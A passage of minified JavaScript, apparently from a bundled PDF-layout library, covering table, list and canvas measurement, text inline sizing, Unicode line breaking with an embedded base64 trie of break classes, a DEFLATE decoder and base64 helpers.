            t.type = t.type || "decimal", t.separator = t.separator || ".", t.reversed = t.reversed || !1, t.start || (t.start = t.reversed ? n.length : 1), t._gapSize = this.gapSizeForList(), t._minWidth = 0, t._maxWidth = 0;
            for (var r = t.start, i = 0, o = n.length; i < o; i++) {
                var a = n[i] = this.measureNode(n[i]);
                a.ol || a.ul || (a.listMarker = this.buildOrderedMarker(a.counter || r, e, t.type, t.separator), a.listMarker._inlines && (t._gapSize.width = Math.max(t._gapSize.width, a.listMarker._inlines[0].width))), t._minWidth = Math.max(t._minWidth, n[i]._minWidth), t._maxWidth = Math.max(t._maxWidth, n[i]._maxWidth), t.reversed ? r-- : r++
            }
            t._minWidth += t._gapSize.width, t._maxWidth += t._gapSize.width;
            for (var i = 0, o = n.length; i < o; i++) {
                var a = n[i];
                a.ol || a.ul || (a.listMarker._minWidth = a.listMarker._maxWidth = t._gapSize.width)
            }
            return t
        }, r.prototype.measureColumns = function (t) {
            var e  = t.columns;
            t._gap = this.styleStack.getProperty("columnGap") || 0;
            for (var n = 0, r = e.length; n < r; n++) e[n] = this.measureNode(e[n]);
            var i = a.measureMinMax(e);
            return t._minWidth = i.min + t._gap * (e.length - 1), t._maxWidth = i.max + t._gap * (e.length - 1), t
        }, r.prototype.measureTable = function (t) {
            function e(e, n, r) {
                for (var i = {
                    minWidth: 0,
                    maxWidth: 0
                }, o       = 0; o < n; o++) i.minWidth += t.table.widths[e + o]._minWidth + (o ? r.offsets[e + o] : 0), i.maxWidth += t.table.widths[e + o]._maxWidth + (o ? r.offsets[e + o] : 0);
                return i
            }

            !function (t) {
                if (t.table.widths || (t.table.widths = "auto"), "string" == typeof t.table.widths || t.table.widths instanceof String) for (t.table.widths = [t.table.widths]; t.table.widths.length < t.table.body[0].length;) t.table.widths.push(t.table.widths[t.table.widths.length - 1]);
                for (var e = 0, n = t.table.widths.length; e < n; e++) {
                    var r = t.table.widths[e];
                    ("number" == typeof r || r instanceof Number || "string" == typeof r || r instanceof String) && (t.table.widths[e] = {width: r})
                }
            }(t), t._layout = function (e) {
                var n = t.layout;
                return ("string" == typeof t.layout || t instanceof String) && (n = e[n]), u({
                    hLineWidth: function (t, e) {
                        return 1
                    }, vLineWidth: function (t, e) {
                        return 1
                    }, hLineColor: function (t, e) {
                        return "black"
                    }, vLineColor: function (t, e) {
                        return "black"
                    }, paddingLeft: function (t, e) {
                        return 4
                    }, paddingRight: function (t, e) {
                        return 4
                    }, paddingTop: function (t, e) {
                        return 2
                    }, paddingBottom: function (t, e) {
                        return 2
                    }, fillColor: function (t, e) {
                        return null
                    }, defaultBorder: !0
                }, n)
            }(this.tableLayouts), t._offsets = function (e) {
                for (var n = [], r = 0, i = 0, o = 0, a = t.table.widths.length; o < a; o++) {
                    var s = i + e.vLineWidth(o, t) + e.paddingLeft(o, t);
                    n.push(s), r += s, i = e.paddingRight(o, t)
                }
                return r += i + e.vLineWidth(t.table.widths.length, t), {total: r, offsets: n}
            }(t._layout);
            var n, r, i, o, s = [];
            for (n = 0, i = t.table.body[0].length; n < i; n++) {
                var c = t.table.widths[n];
                for (c._minWidth = 0, c._maxWidth = 0, r = 0, o = t.table.body.length; r < o; r++) {
                    var l = t.table.body[r], f = l[n];
                    if (void 0 === f) throw"Malformed table row, a cell is undefined.";
                    null === f && (f = ""), f._span || (f = l[n] = this.styleStack.auto(f, function (t, e) {
                        return function () {
                            return null !== e && "object" == typeof e && (e.fillColor = t.styleStack.getProperty("fillColor")), t.measureNode(e)
                        }
                    }(this, f)), f.colSpan && f.colSpan > 1 ? (!function (t, e, n) {
                        for (var r = 1; r < n; r++) t[e + r] = {_span: !0, _minWidth: 0, _maxWidth: 0, rowSpan: t[e].rowSpan}
                    }(l, n, f.colSpan), s.push({
                        col: n,
                        span: f.colSpan,
                        minWidth: f._minWidth,
                        maxWidth: f._maxWidth
                    })) : (c._minWidth = Math.max(c._minWidth, f._minWidth), c._maxWidth = Math.max(c._maxWidth, f._maxWidth))), f.rowSpan && f.rowSpan > 1 && function (t, e, n, r) {
                        for (var i = 1; i < r; i++) t.body[e + i][n] = {_span: !0, _minWidth: 0, _maxWidth: 0, fillColor: t.body[e][n].fillColor}
                    }(t.table, r, n, f.rowSpan)
                }
            }
            !function () {
                for (var n, r, i = 0, o = s.length; i < o; i++) {
                    var a = s[i], u = e(a.col, a.span, t._offsets), c = a.minWidth - u.minWidth, l = a.maxWidth - u.maxWidth;
                    if (c > 0) for (n = c / a.span, r = 0; r < a.span; r++) t.table.widths[a.col + r]._minWidth += n;
                    if (l > 0) for (n = l / a.span, r = 0; r < a.span; r++) t.table.widths[a.col + r]._maxWidth += n
                }
            }();
            var h = a.measureMinMax(t.table.widths);
            return t._minWidth = h.min + t._offsets.total, t._maxWidth = h.max + t._offsets.total, t
        }, r.prototype.measureCanvas = function (t) {
            for (var e = 0, n = 0, r = 0, i = t.canvas.length; r < i; r++) {
                var o = t.canvas[r];
                switch (o.type) {
                    case"ellipse":
                        e = Math.max(e, o.x + o.r1), n = Math.max(n, o.y + o.r2);
                        break;
                    case"rect":
                        e = Math.max(e, o.x + o.w), n = Math.max(n, o.y + o.h);
                        break;
                    case"line":
                        e = Math.max(e, o.x1, o.x2), n = Math.max(n, o.y1, o.y2);
                        break;
                    case"polyline":
                        for (var a = 0, s = o.points.length; a < s; a++) e = Math.max(e, o.points[a].x), n = Math.max(n, o.points[a].y)
                }
            }
            return t._minWidth = t._maxWidth = e, t._minHeight = t._maxHeight = n, t
        }, r.prototype.measureQr = function (t) {
            return t = c.measure(t), t._alignment = this.styleStack.getProperty("alignment"), t
        }, t.exports = r
    }, function (t, e, n) {
        "use strict";

        function r(t) {
            this.fontProvider = t
        }

        function i(t, e) {
            var n = [];
            if (t = t.replace("\t", "    "), e) return n.push({text: t}), n;
            for (var r, i = new l(t), o = 0; r = i.nextBreak();) {
                var a = t.slice(o, r.position);
                r.required || a.match(/\r?\n$|\r$/) ? (a = a.replace(/\r?\n$|\r$/, ""), n.push({text: a, lineEnd: !0})) : n.push({text: a}), o = r.position
            }
            return n
        }

        function o(t, e) {
            e = e || {}, t = t || {};
            for (var n in t) "text" != n && t.hasOwnProperty(n) && (e[n] = t[n]);
            return e
        }

        function a(t, e) {
            var n = [];
            Array.isArray(t) || (t = [t]);
            for (var r = 0, a = t.length; r < a; r++) {
                var c, l = t[r], f = null, h = u(l || {}, e, "noWrap", !1);
                null !== l && ("object" == typeof l || l instanceof Object) ? (c = i(s(l.text), h), f = o(l)) : c = i(s(l), h);
                for (var p = 0, d = c.length; p < d; p++) {
                    var g = {text: c[p].text};
                    c[p].lineEnd && (g.lineEnd = !0), o(f, g), n.push(g)
                }
            }
            return n
        }

        function s(t) {
            return void 0 === t || null === t ? "" : "number" == typeof t ? t.toString() : "string" == typeof t || t instanceof String ? t : t.toString()
        }

        function u(t, e, n, r) {
            var i;
            return void 0 !== t[n] && null !== t[n] ? t[n] : e ? (e.auto(t, function () {
                i = e.getProperty(n)
            }), null !== i && void 0 !== i ? i : r) : r
        }

        function c(t, e, n) {
            var r = a(e, n);
            return r.forEach(function (e) {
                var r = u(e, n, "font", "Roboto"), i = u(e, n, "fontSize", 12), o = u(e, n, "bold", !1), a = u(e, n, "italics", !1), s = u(e, n, "color", "black"),
                    c = u(e, n, "decoration", null), l = u(e, n, "decorationColor", null), p = u(e, n, "decorationStyle", null), d = u(e, n, "background", null),
                    g = u(e, n, "lineHeight", 1), v = u(e, n, "link", null), y = t.provideFont(r, o, a);
                e.width = y.widthOfString(e.text, i), e.height = y.lineHeight(i) * g;
                var m = e.text.match(f), b = e.text.match(h);
                e.leadingCut = m ? y.widthOfString(m[0], i) : 0, e.trailingCut = b ? y.widthOfString(b[0], i) : 0, e.alignment = u(e, n, "alignment", "left"), e.font = y, e.fontSize = i, e.color = s, e.decoration = c, e.decorationColor = l, e.decorationStyle = p, e.background = d, e.link = v
            }), r
        }

        var l = n(14), f = /^(\s)+/g, h = /(\s)+$/g;
        r.prototype.buildInlines = function (t, e) {
            function n(t) {
                return Math.max(0, t.width - t.leadingCut - t.trailingCut)
            }

            var r, i = c(this.fontProvider, t, e), o = 0, a = 0;
            return i.forEach(function (t) {
                o = Math.max(o, t.width - t.leadingCut - t.trailingCut), r || (r = {
                    width: 0,
                    leadingCut: t.leadingCut,
                    trailingCut: 0
                }), r.width += t.width, r.trailingCut = t.trailingCut, a = Math.max(a, n(r)), t.lineEnd && (r = null)
            }), u({}, e, "noWrap", !1) && (o = a), {items: i, minWidth: o, maxWidth: a}
        }, r.prototype.sizeOfString = function (t, e) {
            t = t ? t.toString().replace("\t", "    ") : "";
            var n = u({}, e, "font", "Roboto"), r = u({}, e, "fontSize", 12), i = u({}, e, "bold", !1), o = u({}, e, "italics", !1), a = u({}, e, "lineHeight", 1),
                s = this.fontProvider.provideFont(n, i, o);
            return {width: s.widthOfString(t, r), height: s.lineHeight(r) * a, fontSize: r, lineHeight: a, ascender: s.ascender / 1e3 * r, descender: s.descender / 1e3 * r}
        }, t.exports = r
    }, function (t, e, n) {
        (function () {
            var e, r, i, o, a, s, u, c, l, f, h, p, d, g, v, y, m, b, w, x, S, k, _, C, A, E, P;
            w = n(15), k = n(17), E = n(18), o = E.BK, l = E.CR, p = E.LF, g = E.NL, a = E.CB, i = E.BA, b = E.SP, x = E.WJ, b = E.SP, o = E.BK, p = E.LF, g = E.NL, e = E.AI, r = E.AL, y = E.SA, m = E.SG, S = E.XX, u = E.CJ, E.ID, v = E.NS, E.characterClasses, P = n(19), f = P.DI_BRK, h = P.IN_BRK, s = P.CI_BRK, c = P.CP_BRK, P.PR_BRK, A = P.pairTable,
                C = k.toByteArray("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"), _ = new w(C), d = function () {
                function t(t) {
                    this.string = t, this.pos = 0, this.lastPos = 0, this.curClass = null, this.nextClass = null
                }

                var n, d, w;
                return t.prototype.nextCodePoint = function () {
                    var t, e;
                    return t = this.string.charCodeAt(this.pos++), e = this.string.charCodeAt(this.pos), 55296 <= t && t <= 56319 && 56320 <= e && e <= 57343 ? (this.pos++, 1024 * (t - 55296) + (e - 56320) + 65536) : t
                }, d = function (t) {
                    switch (t) {
                        case e:
                            return r;
                        case y:
                        case m:
                        case S:
                            return r;
                        case u:
                            return v;
                        default:
                            return t
                    }
                }, w = function (t) {
                    switch (t) {
                        case p:
                        case g:
                            return o;
                        case a:
                            return i;
                        case b:
                            return x;
                        default:
                            return t
                    }
                }, t.prototype.nextCharClass = function (t) {
                    return null == t && (t = !1), d(_.get(this.nextCodePoint()))
                }, n = function () {
                    function t(t, e) {
                        this.position = t, this.required = null != e && e
                    }

                    return t
                }(), t.prototype.nextBreak = function () {
                    var t, e, r;
                    for (null == this.curClass && (this.curClass = w(this.nextCharClass())); this.pos < this.string.length;) {
                        if (this.lastPos = this.pos, e = this.nextClass, this.nextClass = this.nextCharClass(), this.curClass === o || this.curClass === l && this.nextClass !== p) return this.curClass = w(d(this.nextClass)), new n(this.lastPos, !0);
                        if (null == (t = function () {
                                switch (this.nextClass) {
                                    case b:
                                        return this.curClass;
                                    case o:
                                    case p:
                                    case g:
                                        return o;
                                    case l:
                                        return l;
                                    case a:
                                        return i
                                }
                            }.call(this))) {
                            switch (r = !1, A[this.curClass][this.nextClass]) {
                                case f:
                                    r = !0;
                                    break;
                                case h:
                                    r = e === b;
                                    break;
                                case s:
                                    if (!(r = e === b)) continue;
                                    break;
                                case c:
                                    if (e !== b) continue
                            }
                            if (this.curClass = this.nextClass, r) return new n(this.lastPos)
                        } else if (this.curClass = t, this.nextClass === a) return new n(this.lastPos)
                    }
                    if (this.pos >= this.string.length) return this.lastPos < this.string.length ? (this.lastPos = this.string.length, new n(this.string.length)) : null
                }, t
            }(), t.exports = d
        }).call(this)
    }, function (t, e, n) {
        var r, i;
        i = n(16), r = function () {
            function t(t) {
                var e, n, r;
                e = "function" == typeof t.readUInt32BE && "function" == typeof t.slice, e || t instanceof Uint8Array ? (e ? (this.highStart = t.readUInt32BE(0), this.errorValue = t.readUInt32BE(4), n = t.readUInt32BE(8), t = t.slice(12)) : (r = new DataView(t.buffer), this.highStart = r.getUint32(0), this.errorValue = r.getUint32(4), n = r.getUint32(8), t = t.subarray(12)), t = i(t, new Uint8Array(n)), t = i(t, new Uint8Array(n)), this.data = new Uint32Array(t.buffer)) : (this.data = t.data, this.highStart = t.highStart, this.errorValue = t.errorValue)
            }

            var e, n, r, o, a, s, u, c, l, f, h, p, d, g, v, y;
            return p = 11, g = 5, d = p - g, h = 65536 >> p, a = 1 << d, u = a - 1, c = 2, e = 1 << g, r = e - 1, f = 65536 >> g, l = 1024 >> g, s = f + l, y = s, v = 32, o = y + v, n = 1 << c, t.prototype.get = function (t) {
                var e;
                return t < 0 || t > 1114111 ? this.errorValue : t < 55296 || t > 56319 && t <= 65535 ? (e = (this.data[t >> g] << c) + (t & r), this.data[e]) : t <= 65535 ? (e = (this.data[f + (t - 55296 >> g)] << c) + (t & r), this.data[e]) : t < this.highStart ? (e = this.data[o - h + (t >> p)], e = this.data[e + (t >> g & u)], e = (e << c) + (t & r), this.data[e]) : this.data[this.data.length - n]
            }, t
        }(), t.exports = r
    }, function (t, e) {
        function n() {
            this.table = new Uint16Array(16), this.trans = new Uint16Array(288)
        }

        function r(t, e) {
            this.source = t, this.sourceIndex = 0, this.tag = 0, this.bitcount = 0, this.dest = e, this.destLen = 0, this.ltree = new n, this.dtree = new n
        }

        function i(t, e, n, r) {
            var i, o;
            for (i = 0; i < n; ++i) t[i] = 0;
            for (i = 0; i < 30 - n; ++i) t[i + n] = i / n | 0;
            for (o = r, i = 0; i < 30; ++i) e[i] = o, o += 1 << t[i]
        }

        function o(t, e, n, r) {
            var i, o;
            for (i = 0; i < 16; ++i) t.table[i] = 0;
            for (i = 0; i < r; ++i) t.table[e[n + i]]++;
            for (t.table[0] = 0, o = 0, i = 0; i < 16; ++i) _[i] = o, o += t.table[i];
            for (i = 0; i < r; ++i) e[n + i] && (t.trans[_[e[n + i]]++] = i)
        }

        function a(t) {
            t.bitcount-- || (t.tag = t.source[t.sourceIndex++], t.bitcount = 7);
            var e = 1 & t.tag;
            return t.tag >>>= 1, e
        }

        function s(t, e, n) {
            if (!e) return n;
            for (; t.bitcount < 24;) t.tag |= t.source[t.sourceIndex++] << t.bitcount, t.bitcount += 8;
            var r = t.tag & 65535 >>> 16 - e;
            return t.tag >>>= e, t.bitcount -= e, r + n
        }

        function u(t, e) {
            for (; t.bitcount < 24;) t.tag |= t.source[t.sourceIndex++] << t.bitcount, t.bitcount += 8;
            var n = 0, r = 0, i = 0, o = t.tag;
            do {
                r = 2 * r + (1 & o), o >>>= 1, ++i, n += e.table[i], r -= e.table[i]
            } while (r >= 0);
            return t.tag = o, t.bitcount -= i, e.trans[n + r]
        }

        function c(t, e, n) {
            var r, i, a, c, l, f;
            for (r = s(t, 5, 257), i = s(t, 5, 1), a = s(t, 4, 4), c = 0; c < 19; ++c) k[c] = 0;
            for (c = 0; c < a; ++c) {
                var h   = s(t, 3, 0);
                k[x[c]] = h
            }
            for (o(S, k, 0, 19), l = 0; l < r + i;) {
                var p = u(t, S);
                switch (p) {
                    case 16:
                        var d = k[l - 1];
                        for (f = s(t, 2, 3); f; --f) k[l++] = d;
                        break;
                    case 17:
                        for (f = s(t, 3, 3); f; --f) k[l++] = 0;
                        break;
                    case 18:
                        for (f = s(t, 7, 11); f; --f) k[l++] = 0;
                        break;
                    default:
                        k[l++] = p
                }
            }
            o(e, k, 0, r), o(n, k, r, i)
        }

        function l(t, e, n) {
            for (; ;) {
                var r = u(t, e);
                if (256 === r) return p;
                if (r < 256) t.dest[t.destLen++] = r; else {
                    var i, o, a, c;
                    for (r -= 257, i = s(t, y[r], m[r]), o = u(t, n), a = t.destLen - s(t, b[o], w[o]), c = a; c < a + i; ++c) t.dest[t.destLen++] = t.dest[c]
                }
            }
        }

        function f(t) {
            for (var e, n, r; t.bitcount > 8;) t.sourceIndex--, t.bitcount -= 8;
            if (e = t.source[t.sourceIndex + 1], e = 256 * e + t.source[t.sourceIndex], n = t.source[t.sourceIndex + 3], n = 256 * n + t.source[t.sourceIndex + 2], e !== (65535 & ~n)) return d;
            for (t.sourceIndex += 4, r = e; r; --r) t.dest[t.destLen++] = t.source[t.sourceIndex++];
            return t.bitcount = 0, p
        }

        function h(t, e) {
            var n, i, o = new r(t, e);
            do {
                switch (n = a(o), s(o, 2, 0)) {
                    case 0:
                        i = f(o);
                        break;
                    case 1:
                        i = l(o, g, v);
                        break;
                    case 2:
                        c(o, o.ltree, o.dtree), i = l(o, o.ltree, o.dtree);
                        break;
                    default:
                        i = d
                }
                if (i !== p) throw new Error("Data error")
            } while (!n);
            return o.destLen < o.dest.length ? "function" == typeof o.dest.slice ? o.dest.slice(0, o.destLen) : o.dest.subarray(0, o.destLen) : o.dest
        }

        var p = 0, d = -3, g = new n, v = new n, y = new Uint8Array(30), m = new Uint16Array(30), b = new Uint8Array(30), w = new Uint16Array(30),
            x = new Uint8Array([16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15]), S = new n, k = new Uint8Array(320), _ = new Uint16Array(16);
        !function (t, e) {
            var n;
            for (n = 0; n < 7; ++n) t.table[n] = 0;
            for (t.table[7] = 24, t.table[8] = 152, t.table[9] = 112, n = 0; n < 24; ++n) t.trans[n] = 256 + n;
            for (n = 0; n < 144; ++n) t.trans[24 + n] = n;
            for (n = 0; n < 8; ++n) t.trans[168 + n] = 280 + n;
            for (n = 0; n < 112; ++n) t.trans[176 + n] = 144 + n;
            for (n = 0; n < 5; ++n) e.table[n] = 0;
            for (e.table[5] = 32, n = 0; n < 32; ++n) e.trans[n] = n
        }(g, v), i(y, m, 4, 3), i(b, w, 2, 1), y[28] = 0, m[28] = 258, t.exports = h
    }, function (t, e, n) {
        !function (t) {
            "use strict";

            function e(t) {
                var e = t.charCodeAt(0);
                return e === o || e === l ? 62 : e === a || e === f ? 63 : e < s ? -1 : e < s + 10 ? e - s + 26 + 26 : e < c + 26 ? e - c : e < u + 26 ? e - u + 26 : void 0
            }

            function n(t) {
                function n(t) {
                    c[f++] = t
                }

                var r, o, a, s, u, c;
                if (t.length % 4 > 0) throw new Error("Invalid string. Length must be a multiple of 4");
                var l = t.length;
                u = "=" === t.charAt(l - 2) ? 2 : "=" === t.charAt(l - 1) ? 1 : 0, c = new i(3 * t.length / 4 - u), a = u > 0 ? t.length - 4 : t.length;
                var f = 0;
                for (r = 0, o = 0; r < a; r += 4, o += 3) s = e(t.charAt(r)) << 18 | e(t.charAt(r + 1)) << 12 | e(t.charAt(r + 2)) << 6 | e(t.charAt(r + 3)), n((16711680 & s) >> 16), n((65280 & s) >> 8), n(255 & s);
                return 2 === u ? (s = e(t.charAt(r)) << 2 | e(t.charAt(r + 1)) >> 4, n(255 & s)) : 1 === u && (s = e(t.charAt(r)) << 10 | e(t.charAt(r + 1)) << 4 | e(t.charAt(r + 2)) >> 2, n(s >> 8 & 255), n(255 & s)), c
            }

            function r(t) {
                function e(t) {
                    return "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(t)
                }

                var n, r, i, o = t.length % 3, a = "";
                for (n = 0, i = t.length - o; n < i; n += 3) r = (t[n] << 16) + (t[n + 1] << 8) + t[n + 2], a += function (t) {
                    return e(t >> 18 & 63) + e(t >> 12 & 63) + e(t >> 6 & 63) + e(63 & t)
                }(r);
                switch (o) {
                    case 1:
                        r = t[t.length - 1], a += e(r >> 2), a += e(r << 4 & 63), a += "==";
                        break;
                    case 2:
                        r = (t[t.length - 2] << 8) + t[t.length - 1], a += e(r >> 10), a += e(r >> 4 & 63), a += e(r << 2 & 63), a += "="
                }
                return a
            }

            var i = "undefined" != typeof Uint8Array ? Uint8Array : Array, o = "+".charCodeAt(0), a = "/".charCodeAt(0), s = "0".charCodeAt(0), u = "a".charCodeAt(0),
                c = "A".charCodeAt(0), l = "-".charCodeAt(0), f = "_".charCodeAt(0);
            t.toByteArray = n, t.fromByteArray = r
        }(e)
    }, function (t, e) {
        (function () {
            e.OP = 0, e.CL = 1, e.CP = 2, e.QU = 3, e.GL = 4, e.NS = 5, e.EX = 6, e.SY = 7, e.IS = 8, e.PR = 9, e.PO = 10, e.NU = 11, e.AL = 12, e.HL = 13, e.ID = 14, e.IN = 15, e.HY = 16, e.BA = 17, e.BB = 18, e.B2 = 19, e.ZW = 20, e.CM = 21, e.WJ = 22, e.H2 = 23, e.H3 = 24, e.JL = 25, e.JV = 26, e.JT = 27, e.RI = 28, e.AI = 29, e.BK = 30, e.CB = 31, e.CJ = 32, e.CR = 33, e.LF = 34, e.NL = 35, e.SA = 36, e.SG = 37, e.SP = 38, e.XX = 39
        }).call(this)
    }, function (t, e) {
        (function () {
            var t, n, r, i, o;
